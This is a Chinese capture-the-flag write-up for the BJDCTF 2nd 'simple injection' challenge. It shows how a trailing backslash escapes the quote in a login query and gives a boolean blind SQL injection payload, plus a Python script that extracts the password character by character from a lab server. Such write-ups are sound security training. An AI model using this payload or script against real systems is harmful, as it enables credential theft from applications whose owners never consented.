[BJDCTF 2nd]简单注入
[BJDCTF 2nd]简单注入
因为是简单注入
我一开始就是 ‘ 加上去,被过滤了
所以我fuzz了一下,发现常用的基本都被过滤了,而且,最重要的是闭合的符号都被过滤了
百思不得其解
看了师傅的wp,才知道robots.txt里有提示有hint.txt

因为此题特点是闭合符号被过滤,所以只有一种方法可以绕过,就是在username的参数最后加上 ,作为转义符,把源代码中的 ‘ 转义,使得源代码变成
select * from users where username=' \'and password='和恶意代码
用可以通过的关键字和符号,我们可以构建playload
^(ascii(substr(password,1,1))>1)#
我们可以看到界面的反应,当我们 >1 时,肯定是正确的,界面返回BJD needs to be stronger
<1时,返回You konw ,P3rh4ps needs a girl friend
所以,我们可以列出脚本
# post提交方式的bool盲注
import requests
# 可以修改的playload
playload = "http://d2fa3b89-fa11-4938-a2ff-2ca779a2076b.node3.buuoj.cn/index.php"
char = ""
chars = []
# 验证的名单,按ascii顺序的
yzs = "0123456789ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefzhigklmnopqrstuvwxyz"
print("系统开始注入")
print('-----------------------')
# 可以先手注判断有多少位,再修改9位响应位数
# for b in range(0, 5): # b是第几个表,第几个字段
header = {'Host': 'd2fa3b89-fa11-4938-a2ff-2ca779a2076b.node3.buuoj.cn',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
}
for a in range(1, 15): # a是这个表或字段的第几个字母
for b in range(0, 129):
playload_post = '^(ascii(substr(password,{},1))>{})#'.format(a, b)#password可以改成username就能测出username
data = {"username": "1\\", "password": playload_post}
response = requests.post(playload, data)
if 'girl' in response.text: # 判断条件自己修改
print(b)
char += str(chr(b))
break
print(char)
chars.append(char)
char = ""
print('-------------------------')
for c in chars:
print(c)
print('-------------------------end')
最后,将得到的username和password写入就能得到flag
浙公网安备 33010602011771号